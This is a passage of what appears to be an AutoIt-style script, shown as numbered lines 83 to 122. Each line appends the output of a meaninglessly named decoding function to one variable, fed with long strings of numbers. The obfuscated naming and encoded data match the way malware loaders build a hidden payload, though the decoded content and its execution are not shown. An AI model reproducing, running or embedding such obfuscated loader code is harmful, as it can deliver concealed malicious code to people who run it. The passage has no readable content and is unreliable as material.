  83. $lmascgp &= btbxjymrfgaetpa("56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,54,56,5,56,54,57,55,56,54,56,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56")
  84. $lmascgp &= btbxjymrfgaetpa("58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,55,56,56,56,54,56,6,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,54,56,56,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60")
  85. $lmascgp &= btbxjymrfgaetpa("57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,56,56,54,57,54,56,54,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,6,56,6,56,6,56,55,56,55,57,59,57,54,57,58,57")
  86. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,59,56,54,56,56,57,57,56,53,56,6,56,55,57,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,59,56,53,56,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,56,5,56,53,56,54,57,57,56,53,56,6,56,55,57,58,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,57,56,54,56,55,56,54,56,53,57,57,56,53,56,6")
  87. $lmascgp &= btbxjymrfgaetpa("56,55,57,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,55,56,56,56,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,58,56,54,56,55,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,60,57,57,57,54,56,5,57,54,57")
  88. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,56,54,56,55,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,54,56,59,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,55,56,53,56,56,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58")
  89. $lmascgp &= btbxjymrfgaetpa("56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56")
  90. $lmascgp &= btbxjymrfgaetpa("53,56,58,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54")
  91. $lmascgp &= btbxjymrfgaetpa("57,59,57,54,57,54,57,54,57,54,56,55,56,56,56,53,56,58,56,54,56,59,56,54,57,55,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,54,56,59,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56")
  92. $lmascgp &= btbxjymrfgaetpa("55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,56,56,57,56,53,56,55,57,57,56,53")
  93. $lmascgp &= btbxjymrfgaetpa("56,6,56,55,56,53,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,58,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,56,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,6,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,57,56,54,56,59,56,54,56,57,57,57,56,53,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,6,57,57,57,54,56,5,57")
  94. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,54,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,57,58,56,55,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,53,56,57,56,54,56,59,57,57,56,53,56,6")
  95. $lmascgp &= btbxjymrfgaetpa("56,55,56,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,56,53,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,5,57,54,57,54,57,54,57")
  96. $lmascgp &= btbxjymrfgaetpa("54,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,55,56,56,56,59,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,60,56,54,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,55")
  97. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,57,57,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,59,56,54,56,56,56,56,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,58,57,59,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56")
  98. $lmascgp &= btbxjymrfgaetpa("6,56,55,56,53,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,56,56,53,56,60,56,6,56,6,56,6,56,55,56,53,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,56,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,6,56,56,56,59,56,60,56,60,57,57")
  99. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,5,56,53,56,57,56,55,56,53,56,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,57,56,54,56,57,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,54,57,54,57")
  100. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,54,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55")
  101. $lmascgp &= btbxjymrfgaetpa("57,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,54,57")
  102. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,56,53,56,60,56,53,56,5,56,6,56,6,56,6,56,55,56,53,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,6,57,54")
  103. $lmascgp &= btbxjymrfgaetpa("57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,57,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,56,56,54,56,58,56,53,56,57,56,6,56,6,56,6,56,55,56,58,56,56,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56")
  104. $lmascgp &= btbxjymrfgaetpa("53,56,6,56,55,56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,5,57,55,57,54,57,57,57,54,57,54")
  105. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,6,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,53,56,54,56,5,56,54,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,53,56,6,56,6,56,6,56,55,57,57,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56")
  106. $lmascgp &= btbxjymrfgaetpa("53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57")
  107. $lmascgp &= btbxjymrfgaetpa("56,53,56,6,56,55,57,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,57,56,54,56,59,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,56,56,54,56,55,56,54,56")
  108. $lmascgp &= btbxjymrfgaetpa("54,56,55,56,53,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,56,56,54,57,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,53,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,6,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60")
  109. $lmascgp &= btbxjymrfgaetpa("56,54,57,54,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,59,56,53,56,55,56,54,56,5,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,55,56,54,57,55,56,54,56,56,56,55,56,60,57")
  110. $lmascgp &= btbxjymrfgaetpa("57,56,53,56,6,56,55,56,57,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,5,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,57,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,57,56,53,56,56,56,6,56,6,56,6,56,55,56,59,56,6,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6")
  111. $lmascgp &= btbxjymrfgaetpa("56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,56,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,55,56,60,56,54,56,59,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,56,56,5,56,54,57")
  112. $lmascgp &= btbxjymrfgaetpa("55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,5,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,5,56,53,57,59,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54")
  113. $lmascgp &= btbxjymrfgaetpa("56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,5,56,54,57,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,56,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57")
  114. $lmascgp &= btbxjymrfgaetpa("54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,54,56,54,57,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,57,56,57,56,58,56,58")
  115. $lmascgp &= btbxjymrfgaetpa("57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,54,56,54,57,57,56,54,56,55,56,57,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,54,57,54,57,54,57,54,57")
  116. $lmascgp &= btbxjymrfgaetpa("54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,56,56,53,56,55,56,53,56,56,56,54,56,59,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55")
  117. $lmascgp &= btbxjymrfgaetpa("56,53,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,59,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,57,56,56,56")
  118. $lmascgp &= btbxjymrfgaetpa("54,57,58,56,54,56,55,56,53,56,58,56,54,57,55,57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,57,57,56,57,56,57,56,57,56,58,56,6,56,6,56,56,56,55,57,56,56,60,56,6,56,6,56,56,56,55,57,59,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,57,57,56,53,56,56,56,55,57,57,57,57,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,57,57,56,53,56,56,56,55,56,5,56,6,56,56,57,58,56,56,56,55,56,55,56,58,56,56,57,55,57,57")
  119. $lmascgp &= btbxjymrfgaetpa("56,53,56,56,56,55,56,5,57,57,56,56,56,55,56,56,57,57,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,59,56,60,56,58,57,55,56,56,56,56,56,56,57,57,56,56,57,57,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,55,56")
  120. $lmascgp &= btbxjymrfgaetpa("53,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,57,55,56,6,56,58,57,55,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,57,55,56,6,56,58,56,57,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56")
  121. $lmascgp &= btbxjymrfgaetpa("56,56,56,55,57,57,56,56,56,55,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,56,56,55,56,5,56,6,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,56,56,55,56,5,56,6,56,55,56,60,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,59,57,57,57")
  122. $lmascgp &= btbxjymrfgaetpa("55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,5,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,57,56,54,56,55,57,55,56,6,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,53,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,55,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,55,57,57,56,60,56,53,56,55,56,60,56,53,57,57,56,53,56,56,56,55,57,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,57,56,56,55,56,6,57,54")
